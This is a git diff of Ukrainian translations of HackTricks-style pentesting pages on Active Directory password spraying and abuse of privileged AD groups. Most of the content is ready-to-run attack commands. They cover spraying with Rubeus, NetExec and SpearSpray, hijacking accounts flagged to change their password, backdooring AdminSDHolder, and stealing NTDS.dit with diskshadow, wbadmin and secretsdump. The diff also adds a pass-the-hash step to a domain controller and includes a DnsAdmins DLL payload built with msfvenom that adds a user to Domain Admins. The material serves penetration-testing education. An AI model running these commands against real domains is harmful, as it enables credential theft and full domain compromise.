- За допомогою [Rubeus](https://github.com/Zer1t0/Rubeus) версії з brute module:
|
||||
```bash
|
||||
# with a list of users
|
||||
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
|
||||
@ -77,7 +92,7 @@ done
|
||||
# check passwords for all users in current domain
|
||||
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
|
||||
```
|
||||
- За допомогою [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (може за замовчуванням генерувати користувачів із домену, отримувати політику паролів із домену та обмежувати кількість спроб відповідно до неї):
|
||||
- За допомогою [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Він може генерувати користувачів з домену за замовчуванням і отримує політику паролів з домену та обмежує спроби відповідно до неї):
|
||||
```bash
|
||||
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
|
||||
```
|
||||
@ -87,10 +102,10 @@ Invoke-SprayEmptyPassword
|
||||
```
|
||||
### Виявлення та захоплення облікових записів "Password must change at next logon" (SAMR)
|
||||
|
||||
Низькошумний метод — spray a benign/empty password і виявляти облікові записи, які повертають STATUS_PASSWORD_MUST_CHANGE, що вказує, що password було примусово прострочено і його можна змінити без знання старого.
|
||||
Низькошумова методика — spray безпечний/порожній пароль і відстежувати облікові записи, що повертають STATUS_PASSWORD_MUST_CHANGE; це вказує, що пароль був примусово прострочений і його можна змінити без знання старого.
|
||||
|
||||
Порядок:
|
||||
- Перелічити користувачів (RID brute via SAMR) щоб скласти список цілей:
|
||||
Робочий процес:
|
||||
- Перелічити користувачів (RID brute via SAMR), щоб скласти список цілей:
|
||||
|
||||
{{#ref}}
|
||||
../../network-services-pentesting/pentesting-smb/rpcclient-enumeration.md
|
||||
@ -99,12 +114,12 @@ Invoke-SprayEmptyPassword
|
||||
# NetExec (null/guest) + RID brute to harvest users
|
||||
netexec smb <dc_fqdn> -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt
|
||||
```
|
||||
- Spray порожній пароль і продовжуйте при hits, щоб захопити облікові записи, які повинні змінити пароль при наступному logon:
|
||||
- Spray an empty password і продовжуйте працювати з hits, щоб захопити accounts, які повинні змінити password при next logon:
|
||||
```bash
|
||||
# Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results
|
||||
netexec smb <DC.FQDN> -u users.txt -p '' --continue-on-success
|
||||
```
|
||||
- Для кожного hit, змініть пароль через SAMR за допомогою NetExec’s module (старий пароль не потрібен, коли встановлено "must change"):
|
||||
- Для кожного збігу змініть пароль через SAMR з модулем NetExec (старий пароль не потрібен, коли встановлено "must change"):
|
||||
```bash
|
||||
# Strong complexity to satisfy policy
|
||||
env NEWPASS='P@ssw0rd!2025#' ; \
|
||||
@ -113,27 +128,27 @@ netexec smb <DC.FQDN> -u <User> -p '' -M change-password -o NEWPASS="$NEWPASS"
|
||||
# Validate and retrieve domain password policy with the new creds
|
||||
netexec smb <DC.FQDN> -u <User> -p "$NEWPASS" --pass-pol
|
||||
```
|
||||
Оперативні нотатки:
|
||||
- Переконайтеся, що годинник вашого хоста синхронізовано з DC перед Kerberos-based операціями: `sudo ntpdate <dc_fqdn>`.
|
||||
- Позначка [+] без (Pwn3d!) у деяких модулях (наприклад, RDP/WinRM) означає, що creds дійсні, але обліковий запис не має interactive logon rights.
|
||||
Операційні нотатки:
|
||||
- Переконайтеся, що годинник вашого хоста синхронізований з DC перед операціями на основі Kerberos: `sudo ntpdate <dc_fqdn>`.
|
||||
- Позначка [+] без (Pwn3d!) у деяких модулях (наприклад, RDP/WinRM) означає, що creds дійсні, але обліковий запис не має прав на інтерактивний вхід.
|
||||
|
||||
## Brute Force
|
||||
```bash
|
||||
legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org
|
||||
```
|
||||
### Kerberos pre-auth spraying з LDAP targeting та PSO-aware throttling (SpearSpray)
|
||||
### Kerberos pre-auth spraying з таргетингом LDAP та PSO-aware throttling (SpearSpray)
|
||||
|
||||
Kerberos pre-auth–based spraying зменшує шум у порівнянні з SMB/NTLM/LDAP bind attempts і краще узгоджується з AD lockout policies. SpearSpray поєднує LDAP-driven targeting, pattern engine і policy awareness (domain policy + PSOs + badPwdCount buffer), щоб здійснювати spray точно і безпечно. Він також може тегувати скомпрометовані principals у Neo4j для BloodHound pathing.
|
||||
Kerberos pre-auth–based spraying зменшує шум у порівнянні зі спробами bind через SMB/NTLM/LDAP та краще узгоджується з політиками блокування AD. SpearSpray поєднує LDAP-driven таргетинг, pattern engine та обізнаність щодо політик (domain policy + PSOs + badPwdCount buffer), щоб виконувати spray точно і безпечно. Воно також може позначати скомпрометовані principals у Neo4j для маршрутів BloodHound.
|
||||
|
||||
Ключові ідеї:
|
||||
- LDAP user discovery з пагінацією та підтримкою LDAPS, опційно використовуючи custom LDAP filters.
|
||||
- Domain lockout policy + PSO-aware filtering, щоб залишити налаштовуваний буфер спроб (threshold) і уникнути блокування користувачів.
|
||||
- Kerberos pre-auth validation із використанням швидких gssapi bindings (генерує 4768/4771 на DCs замість 4625).
|
||||
- Pattern-based, per-user password generation з використанням змінних, таких як імена та часові значення, похідні від кожного користувача's pwdLastSet.
|
||||
- Контроль пропускної здатності за допомогою threads, jitter і max requests per second.
|
||||
- Опційна інтеграція з Neo4j для маркування owned users для BloodHound.
|
||||
Key ideas:
|
||||
- LDAP user discovery with paging and LDAPS support, optionally using custom LDAP filters.
|
||||
- Domain lockout policy + PSO-aware filtering to leave a configurable attempt buffer (threshold) and avoid locking users.
|
||||
- Kerberos pre-auth validation using fast gssapi bindings (generates 4768/4771 on DCs instead of 4625).
|
||||
- Pattern-based, per-user password generation using variables like names and temporal values derived from each user’s pwdLastSet.
|
||||
- Throughput control with threads, jitter, and max requests per second.
|
||||
- Optional Neo4j integration to mark owned users for BloodHound.
|
||||
|
||||
Базове використання та виявлення:
|
||||
Basic usage and discovery:
|
||||
```bash
|
||||
# List available pattern variables
|
||||
spearspray -l
|
||||
@ -161,7 +176,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
|
||||
# Leave N attempts in reserve before lockout (default threshold: 2)
|
||||
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -thr 2
|
||||
```
|
||||
Neo4j/BloodHound збагачення:
|
||||
Збагачення Neo4j/BloodHound:
|
||||
```bash
|
||||
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -nu neo4j -np bloodhound --uri bolt://localhost:7687
|
||||
```
|
||||
@ -174,29 +189,29 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
|
||||
{samaccountname}
|
||||
{extra}{separator}{year}{suffix}
|
||||
```
|
||||
Доступні змінні включають:
|
||||
Available variables include:
|
||||
- {name}, {samaccountname}
|
||||
- Тимчасові значення з pwdLastSet кожного користувача (або whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en}
|
||||
- Допоміжні елементи для складання та токен організації: {separator}, {suffix}, {extra}
|
||||
- Тимчасові значення з pwdLastSet (or whenCreated) кожного користувача: {year}, {short_year}, {month_number}, {month_en}, {season_en}
|
||||
- Допоміжні елементи складання та токен організації: {separator}, {suffix}, {extra}
|
||||
|
||||
Операційні нотатки:
|
||||
- Надавайте перевагу запитам до PDC-emulator з -dc, щоб читати найавторитетніший badPwdCount та інформацію, пов’язану з політикою.
|
||||
- Скидання badPwdCount тригеряться при наступній спробі після вікна спостереження; використовуйтесь порогові значення і таймінг, щоб залишатися в безпеці.
|
||||
- Спроби Kerberos pre-auth відображаються як 4768/4771 у DC telemetry; використовуйте jitter і rate-limiting, щоб злитися з фоном.
|
||||
Operational notes:
|
||||
- Віддавайте перевагу запитам до PDC-emulator з -dc, щоб отримати найбільш авторитетну інформацію про badPwdCount та пов'язані з політиками дані.
|
||||
- Скидання badPwdCount відбувається при наступній спробі після вікна спостереження; використовуйте поріг та таймінг, щоб залишатися в безпеці.
|
||||
- Спроби Kerberos pre-auth відображаються як 4768/4771 у DC telemetry; використовуйте jitter та rate-limiting, щоб злитися з фоновим трафіком.
|
||||
|
||||
> Порада: SpearSpray’s default LDAP page size is 200; adjust with -lps as needed.
|
||||
> Tip: SpearSpray’s default LDAP page size is 200; adjust with -lps as needed.
|
||||
|
||||
## Outlook Web Access
|
||||
|
||||
Є кілька інструментів для p**assword spraying outlook**.
|
||||
Існує кілька інструментів для p**assword spraying outlook**.
|
||||
|
||||
- За допомогою [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/)
|
||||
- за допомогою [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/)
|
||||
- За допомогою [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/)
|
||||
- За допомогою [Ruler](https://github.com/sensepost/ruler) (надійний!)
|
||||
- За допомогою [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell)
|
||||
- За допомогою [MailSniper](https://github.com/dafthack/MailSniper) (Powershell)
|
||||
|
||||
Щоб використовувати будь-який із цих інструментів, потрібні список користувачів і пароль або невеликий список паролів для password spraying.
|
||||
Щоб використовувати будь-який із цих інструментів, вам потрібен список користувачів та password або невеликий список passwords для password spraying.
|
||||
```bash
|
||||
./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
|
||||
[x] Failed: larsson:Summer2020
|
||||
@ -227,6 +242,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
|
||||
- [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296)
|
||||
- [https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying](https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying)
|
||||
- [HTB Sendai – 0xdf: from spray to gMSA to DA/SYSTEM](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html)
|
||||
- [HTB: Baby — Anonymous LDAP → Password Spray → SeBackupPrivilege → Domain Admin](https://0xdf.gitlab.io/2025/09/19/htb-baby.html)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -8,45 +8,45 @@
|
||||
- **Domain Admins**
|
||||
- **Enterprise Admins**
|
||||
|
||||
## Оператори облікових записів
|
||||
## Account Operators
|
||||
|
||||
Ця група має право створювати облікові записи та групи, які не є адміністраторами домену. Крім того, вона дозволяє локальний вхід до Контролера домену (DC).
|
||||
Ця група уповноважена створювати облікові записи та групи, які в домені не мають прав адміністратора. Також вона дозволяє локальний вхід на Domain Controller (DC).
|
||||
|
||||
Щоб визначити членів цієї групи, виконується наступна команда:
|
||||
Щоб визначити учасників цієї групи, виконується наступна команда:
|
||||
```bash
|
||||
Get-NetGroupMember -Identity "Account Operators" -Recurse
|
||||
```
|
||||
Додавання нових користувачів дозволено, а також локальний вхід до DC01.
|
||||
Дозволено додавати нових користувачів, а також локальний вхід на DC.
|
||||
|
||||
## Група AdminSDHolder
|
||||
## AdminSDHolder група
|
||||
|
||||
Список контролю доступу (ACL) групи **AdminSDHolder** є критично важливим, оскільки він встановлює дозволи для всіх "захищених груп" в Active Directory, включаючи групи з високими привілеями. Цей механізм забезпечує безпеку цих груп, запобігаючи несанкціонованим змінам.
|
||||
Список контролю доступу (ACL) групи **AdminSDHolder** має вирішальне значення, оскільки він встановлює дозволи для всіх "protected groups" у Active Directory, включно з групами з високими привілеями. Цей механізм забезпечує захист цих груп, запобігаючи несанкціонованим змінам.
|
||||
|
||||
Зловмисник може скористатися цим, змінивши ACL групи **AdminSDHolder**, надаючи повні дозволи стандартному користувачу. Це фактично надасть цьому користувачу повний контроль над усіма захищеними групами. Якщо дозволи цього користувача будуть змінені або видалені, вони будуть автоматично відновлені протягом години через дизайн системи.
|
||||
Зловмисник може скористатися цим, змінивши ACL групи **AdminSDHolder**, надавши звичайному користувачу повні права. Це фактично дасть цьому користувачу повний контроль над усіма protected groups. Якщо права цього користувача будуть змінені або видалені, вони будуть автоматично відновлені протягом години через конструкцію системи.
|
||||
|
||||
Команди для перегляду учасників і зміни дозволів включають:
|
||||
Команди для перегляду членів і зміни дозволів включають:
|
||||
```bash
|
||||
Get-NetGroupMember -Identity "AdminSDHolder" -Recurse
|
||||
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
|
||||
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'}
|
||||
```
|
||||
Доступний скрипт для прискорення процесу відновлення: [Invoke-ADSDPropagation.ps1](https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1).
|
||||
Для прискорення процесу відновлення доступний скрипт: [Invoke-ADSDPropagation.ps1](https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1).
|
||||
|
||||
Для отримання додаткової інформації відвідайте [ired.team](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-and-backdoor-adminsdholder-to-obtain-domain-admin-persistence).
|
||||
Детальніше див. на [ired.team](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-and-backdoor-adminsdholder-to-obtain-domain-admin-persistence).
|
||||
|
||||
## AD Recycle Bin
|
||||
## Кошик Active Directory
|
||||
|
||||
Членство в цій групі дозволяє читати видалені об'єкти Active Directory, що може розкрити чутливу інформацію:
|
||||
Членство в цій групі дозволяє читати видалені об'єкти Active Directory, що може розкрити конфіденційну інформацію:
|
||||
```bash
|
||||
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
|
||||
```
|
||||
### Доступ до контролера домену
|
||||
### Доступ до контролера домену (DC)
|
||||
|
||||
Доступ до файлів на DC обмежений, якщо користувач не є частиною групи `Server Operators`, що змінює рівень доступу.
|
||||
Доступ до файлів на DC обмежений, якщо користувач не належить до групи `Server Operators`, яка змінює рівень доступу.
|
||||
|
||||
### Підвищення привілеїв
|
||||
|
||||
Використовуючи `PsService` або `sc` з Sysinternals, можна перевіряти та змінювати дозволи на служби. Група `Server Operators`, наприклад, має повний контроль над певними службами, що дозволяє виконувати довільні команди та підвищувати привілеї:
|
||||
За допомогою `PsService` або `sc` із Sysinternals можна переглядати та змінювати дозволи сервісів. Наприклад, група `Server Operators` має повний контроль над певними сервісами, що дозволяє виконувати довільні команди та підвищувати привілеї:
|
||||
```cmd
|
||||
C:\> .\PsService.exe security AppReadiness
|
||||
```
|
||||
@ -54,7 +54,7 @@ C:\> .\PsService.exe security AppReadiness
|
||||
|
||||
## Backup Operators
|
||||
|
||||
Членство в групі `Backup Operators` надає доступ до файлової системи `DC01` завдяки привілеям `SeBackup` та `SeRestore`. Ці привілеї дозволяють проходження через папки, їх перелік та копіювання файлів, навіть без явних дозволів, використовуючи прапорець `FILE_FLAG_BACKUP_SEMANTICS`. Для цього процесу необхідно використовувати специфічні скрипти.
|
||||
Членство в групі `Backup Operators` надає доступ до файлової системи `DC01` через привілеї `SeBackup` і `SeRestore`. Ці привілеї дозволяють обходити папки, переглядати вміст та копіювати файли, навіть без явних дозволів, використовуючи прапорець `FILE_FLAG_BACKUP_SEMANTICS`. Для цього потрібні спеціальні скрипти.
|
||||
|
||||
Щоб перерахувати членів групи, виконайте:
|
||||
```bash
|
||||
@ -62,9 +62,9 @@ Get-NetGroupMember -Identity "Backup Operators" -Recurse
|
||||
```
|
||||
### Локальна атака
|
||||
|
||||
Щоб використовувати ці привілеї локально, застосовуються наступні кроки:
|
||||
Щоб використати ці привілеї локально, виконуються наступні кроки:
|
||||
|
||||
1. Імпортуйте необхідні бібліотеки:
|
||||
1. Імпортувати необхідні бібліотеки:
|
||||
```bash
|
||||
Import-Module .\SeBackupPrivilegeUtils.dll
|
||||
Import-Module .\SeBackupPrivilegeCmdLets.dll
|
||||
@ -74,18 +74,18 @@ Import-Module .\SeBackupPrivilegeCmdLets.dll
|
||||
Set-SeBackupPrivilege
|
||||
Get-SeBackupPrivilege
|
||||
```
|
||||
3. Отримати доступ та скопіювати файли з обмежених директорій, наприклад:
|
||||
3. Доступ та копіювання файлів із обмежених каталогів, наприклад:
|
||||
```bash
|
||||
dir C:\Users\Administrator\
|
||||
Copy-FileSeBackupPrivilege C:\Users\Administrator\report.pdf c:\temp\x.pdf -Overwrite
|
||||
```
|
||||
### AD Attack
|
||||
### Атака на AD
|
||||
|
||||
Прямий доступ до файлової системи контролера домену дозволяє вкрасти базу даних `NTDS.dit`, яка містить всі NTLM хеші для користувачів та комп'ютерів домену.
|
||||
Прямий доступ до файлової системи контролера домену дозволяє викрасти базу даних `NTDS.dit`, яка містить всі NTLM-хеші доменних користувачів та комп'ютерів.
|
||||
|
||||
#### Using diskshadow.exe
|
||||
#### Використання diskshadow.exe
|
||||
|
||||
1. Create a shadow copy of the `C` drive:
|
||||
1. Створіть теневу копію диска `C`:
|
||||
```cmd
|
||||
diskshadow.exe
|
||||
set verbose on
|
||||
@ -102,11 +102,11 @@ exit
|
||||
```cmd
|
||||
Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit
|
||||
```
|
||||
Альтернативно, використовуйте `robocopy` для копіювання файлів:
|
||||
Як альтернативу, використовуйте `robocopy` для копіювання файлів:
|
||||
```cmd
|
||||
robocopy /B F:\Windows\NTDS .\ntds ntds.dit
|
||||
```
|
||||
3. Витягніть `SYSTEM` та `SAM` для отримання хешів:
|
||||
3. Витягніть `SYSTEM` і `SAM` для отримання хешів:
|
||||
```cmd
|
||||
reg save HKLM\SYSTEM SYSTEM.SAV
|
||||
reg save HKLM\SAM SAM.SAV
|
||||
@ -115,10 +115,18 @@ reg save HKLM\SAM SAM.SAV
|
||||
```shell-session
|
||||
secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL
|
||||
```
|
||||
5. Після вилучення: Pass-the-Hash до DA
|
||||
```bash
|
||||
# Use the recovered Administrator NT hash to authenticate without the cleartext password
|
||||
netexec winrm <DC_FQDN> -u Administrator -H <ADMIN_NT_HASH> -x "whoami"
|
||||
|
||||
# Or execute via SMB using an exec method
|
||||
netexec smb <DC_FQDN> -u Administrator -H <ADMIN_NT_HASH> --exec-method smbexec -x cmd
|
||||
```
|
||||
#### Використання wbadmin.exe
|
||||
|
||||
1. Налаштуйте файлову систему NTFS для SMB-сервера на машині атакуючого та кешуйте облікові дані SMB на цільовій машині.
|
||||
2. Використовуйте `wbadmin.exe` для резервного копіювання системи та витягування `NTDS.dit`:
|
||||
1. Налаштуйте NTFS-файлову систему для SMB‑сервера на машині атакуючого і збережіть SMB‑облікові дані на цільовій машині.
|
||||
2. Використайте `wbadmin.exe` для резервного копіювання системи та вилучення `NTDS.dit`:
|
||||
```cmd
|
||||
net use X: \\<AttackIP>\sharename /user:smbuser password
|
||||
echo "Y" | wbadmin start backup -backuptarget:\\<AttackIP>\sharename -include:c:\windows\ntds
|
||||
@ -126,23 +134,29 @@ wbadmin get versions
|
||||
echo "Y" | wbadmin start recovery -version:<date-time> -itemtype:file -items:c:\windows\ntds\ntds.dit -recoverytarget:C:\ -notrestoreacl
|
||||
```
|
||||
|
||||
Для практичної демонстрації дивіться [DEMO VIDEO WITH IPPSEC](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610s).
|
||||
For a practical demonstration, see [DEMO VIDEO WITH IPPSEC](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610s).
|
||||
|
||||
## DnsAdmins
|
||||
|
||||
Члени групи **DnsAdmins** можуть використовувати свої привілеї для завантаження довільного DLL з привілеями SYSTEM на DNS-сервері, який часто розміщується на контролерах домену. Ця можливість дозволяє значний потенціал для експлуатації.
|
||||
Члени групи **DnsAdmins** можуть зловживати своїми привілеями, щоб завантажити довільну DLL з привілеями SYSTEM на DNS‑сервер, який часто розміщується на контролерах домену. Це дає значний потенціал для експлуатації.
|
||||
|
||||
Щоб перерахувати членів групи DnsAdmins, використовуйте:
|
||||
Щоб перелічити учасників групи DnsAdmins, використайте:
|
||||
```bash
|
||||
Get-NetGroupMember -Identity "DnsAdmins" -Recurse
|
||||
```
|
||||
### Виконати довільний DLL
|
||||
### Execute arbitrary DLL (CVE‑2021‑40469)
|
||||
|
||||
Члени можуть змусити DNS-сервер завантажити довільний DLL (як локально, так і з віддаленого ресурсу) за допомогою команд, таких як:
|
||||
> [!NOTE]
|
||||
> Ця вразливість дозволяє виконувати довільний код з привілеями SYSTEM у службі DNS (зазвичай всередині DCs). Цю проблему виправили в 2021 році.
|
||||
|
||||
Члени можуть змусити DNS-сервер завантажити довільну DLL (локально або з віддаленого спільного ресурсу), використовуючи команди такі як:
|
||||
```bash
|
||||
dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll
|
||||
dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll
|
||||
An attacker could modify the DLL to add a user to the Domain Admins group or execute other commands with SYSTEM privileges. Example DLL modification and msfvenom usage:
|
||||
|
||||
# If dnscmd is not installed run from aprivileged PowerShell session:
|
||||
Install-WindowsFeature -Name RSAT-DNS-Server -IncludeManagementTools
|
||||
```
|
||||
|
||||
```c
|
||||
@ -158,90 +172,94 @@ system("C:\\Windows\\System32\\net.exe group \"Domain Admins\" Hacker /add /doma
|
||||
// Generate DLL with msfvenom
|
||||
msfvenom -p windows/x64/exec cmd='net group "domain admins" <username> /add /domain' -f dll -o adduser.dll
|
||||
```
|
||||
Перезапуск служби DNS (який може вимагати додаткових дозволів) є необхідним для завантаження DLL:
|
||||
Для завантаження DLL необхідно перезапустити службу DNS (що може вимагати додаткових прав):
|
||||
```csharp
|
||||
sc.exe \\dc01 stop dns
|
||||
sc.exe \\dc01 start dns
|
||||
```
|
||||
Для отримання додаткової інформації про цей вектор атаки зверніться до ired.team.
|
||||
Для детальнішої інформації про цей вектор атаки зверніться до ired.team.
|
||||
|
||||
#### Mimilib.dll
|
||||
|
||||
Також можливо використовувати mimilib.dll для виконання команд, модифікувавши його для виконання конкретних команд або реверсних шелів. [Перегляньте цей пост](https://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html) для отримання додаткової інформації.
|
||||
Також можливо використати mimilib.dll для виконання команд, модифікуючи його для запуску конкретних команд або reverse shells. [Check this post](https://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html) для додаткової інформації.
|
||||
|
||||
### Запис WPAD для MitM
|
||||
### WPAD Record for MitM
|
||||
|
||||
DnsAdmins можуть маніпулювати DNS-записами для виконання атак Man-in-the-Middle (MitM), створюючи запис WPAD після вимкнення глобального списку блокування запитів. Інструменти, такі як Responder або Inveigh, можуть бути використані для спуфінгу та захоплення мережевого трафіку.
|
||||
DnsAdmins можуть маніпулювати DNS-записами для виконання Man-in-the-Middle (MitM) атак, створюючи WPAD запис після вимкнення global query block list. Інструменти, такі як Responder або Inveigh, можуть бути використані для spoofing та перехоплення мережевого трафіку.
|
||||
|
||||
### Читачі журналів подій
|
||||
Члени можуть отримувати доступ до журналів подій, потенційно знаходячи чутливу інформацію, таку як паролі в чистому вигляді або деталі виконання команд:
|
||||
### Event Log Readers
|
||||
Члени можуть отримувати доступ до журналів подій, потенційно знаходячи чутливу інформацію, таку як plaintext passwords або деталі виконання команд:
|
||||
```bash
|
||||
# Get members and search logs for sensitive information
|
||||
Get-NetGroupMember -Identity "Event Log Readers" -Recurse
|
||||
Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'}
|
||||
```
|
||||
## Exchange Windows Permissions
|
||||
## Права Exchange Windows
|
||||
|
||||
Ця група може змінювати DACL на об'єкті домену, потенційно надаючи привілеї DCSync. Техніки ескалації привілеїв, що використовують цю групу, детально описані в репозиторії Exchange-AD-Privesc на GitHub.
|
||||
Ця група може змінювати DACLs на об'єкті домену, що потенційно може надати привілеї DCSync. Техніки ескалації привілеїв, що експлуатують цю групу, детально описані в Exchange-AD-Privesc GitHub repo.
|
||||
```bash
|
||||
# List members
|
||||
Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse
|
||||
```
|
||||
## Hyper-V Адміністратори
|
||||
## Hyper-V Administrators
|
||||
|
||||
Hyper-V Адміністратори мають повний доступ до Hyper-V, що може бути використано для отримання контролю над віртуалізованими Контролерами Домену. Це включає клонування живих DC та витягування NTLM хешів з файлу NTDS.dit.
|
||||
Hyper-V Administrators мають повний доступ до Hyper-V, який можна використати для отримання контролю над віртуалізованими Domain Controllers. Це включає клонування живих DC та вилучення NTLM хешів із файлу NTDS.dit.
|
||||
|
||||
### Приклад експлуатації
|
||||
|
||||
Службу обслуговування Mozilla Firefox можна експлуатувати адміністраторами Hyper-V для виконання команд від імені SYSTEM. Це передбачає створення жорсткого посилання на захищений файл SYSTEM і заміну його на шкідливий виконуваний файл:
|
||||
Firefox's Mozilla Maintenance Service може бути використано Hyper-V Administrators для запуску команд від імені SYSTEM. Це передбачає створення жорсткого посилання на захищений файл SYSTEM і заміну його шкідливим виконуваним файлом:
|
||||
```bash
|
||||
# Take ownership and start the service
|
||||
takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
|
||||
sc.exe start MozillaMaintenance
|
||||
```
|
||||
Примітка: Експлуатація жорстких посилань була зменшена в останніх оновленнях Windows.
|
||||
Note: Hard link exploitation has been mitigated in recent Windows updates.
|
||||
|
||||
## Управління організацією
|
||||
## Group Policy Creators Owners
|
||||
|
||||
В середовищах, де розгорнуто **Microsoft Exchange**, спеціальна група, відома як **Управління організацією**, має значні можливості. Ця група має привілей **доступу до поштових скриньок усіх користувачів домену** та підтримує **повний контроль над Організаційною одиницею 'Microsoft Exchange Security Groups'**. Цей контроль включає групу **`Exchange Windows Permissions`**, яка може бути використана для ескалації привілеїв.
|
||||
Ця група дозволяє її учасникам створювати Group Policies у домені. Однак її учасники не можуть застосовувати group policies до користувачів чи груп або редагувати існуючі GPOs.
|
||||
|
||||
### Експлуатація привілеїв та команди
|
||||
## Organization Management
|
||||
|
||||
#### Оператори друку
|
||||
У середовищах, де розгорнуто **Microsoft Exchange**, спеціальна група, відома як **Organization Management**, має значні можливості. Ця група має привілеї для **доступу до поштових скриньок всіх користувачів домену** і зберігає **повний контроль над 'Microsoft Exchange Security Groups'** Organizational Unit (OU). Цей контроль включає групу **`Exchange Windows Permissions`**, яку можна використати для ескалації привілеїв.
|
||||
|
||||
Члени групи **Оператори друку** наділені кількома привілеями, включаючи **`SeLoadDriverPrivilege`**, що дозволяє їм **локально входити на Контролер домену**, вимикати його та керувати принтерами. Щоб експлуатувати ці привілеї, особливо якщо **`SeLoadDriverPrivilege`** не видно в умовах без підвищення привілеїв, необхідно обійти Контроль облікових записів користувачів (UAC).
|
||||
### Privilege Exploitation and Commands
|
||||
|
||||
Щоб перерахувати членів цієї групи, використовується наступна команда PowerShell:
|
||||
#### Print Operators
|
||||
|
||||
Члени групи **Print Operators** мають кілька привілеїв, включно з **`SeLoadDriverPrivilege`**, який дозволяє їм **log on locally to a Domain Controller**, вимкнути його та керувати принтерами. Щоб експлуатувати ці привілеї, особливо якщо **`SeLoadDriverPrivilege`** не видно в неелевованому контексті, необхідно обійти User Account Control (UAC).
|
||||
|
||||
To list the members of this group, the following PowerShell command is used:
|
||||
```bash
|
||||
Get-NetGroupMember -Identity "Print Operators" -Recurse
|
||||
```
|
||||
Для більш детальних технік експлуатації, пов'язаних з **`SeLoadDriverPrivilege`**, слід звернутися до специфічних ресурсів безпеки.
|
||||
Для більш детальних технік експлуатації, пов'язаних із **`SeLoadDriverPrivilege`**, слід звернутися до спеціалізованих ресурсів з безпеки.
|
||||
|
||||
#### Користувачі віддаленого робочого столу
|
||||
|
||||
Членам цієї групи надається доступ до ПК через протокол віддаленого робочого столу (RDP). Для перерахунку цих членів доступні команди PowerShell:
|
||||
Членам цієї групи надається доступ до ПК через Remote Desktop Protocol (RDP). Для переліку цих членів доступні PowerShell-команди:
|
||||
```bash
|
||||
Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse
|
||||
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users"
|
||||
```
|
||||
Додаткову інформацію про експлуатацію RDP можна знайти в спеціалізованих ресурсах для пентестингу.
|
||||
Додаткові відомості про експлуатацію RDP можна знайти в спеціалізованих pentesting ресурсах.
|
||||
|
||||
#### Користувачі віддаленого керування
|
||||
#### Користувачі віддаленого управління
|
||||
|
||||
Члени можуть отримувати доступ до ПК через **Windows Remote Management (WinRM)**. Перерахування цих членів досягається за допомогою:
|
||||
Члени можуть отримувати доступ до ПК через **Windows Remote Management (WinRM)**. Перевірка наявних членів здійснюється за допомогою:
|
||||
```bash
|
||||
Get-NetGroupMember -Identity "Remote Management Users" -Recurse
|
||||
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users"
|
||||
```
|
||||
Для технік експлуатації, пов'язаних з **WinRM**, слід звернутися до конкретної документації.
|
||||
Для технік експлуатації, пов'язаних із **WinRM**, слід ознайомитися зі спеціальною документацією.
|
||||
|
||||
#### Оператори серверів
|
||||
|
||||
Ця група має дозволи на виконання різних налаштувань на контролерах домену, включаючи привілеї резервного копіювання та відновлення, зміну системного часу та вимкнення системи. Щоб перерахувати учасників, використовується наступна команда:
|
||||
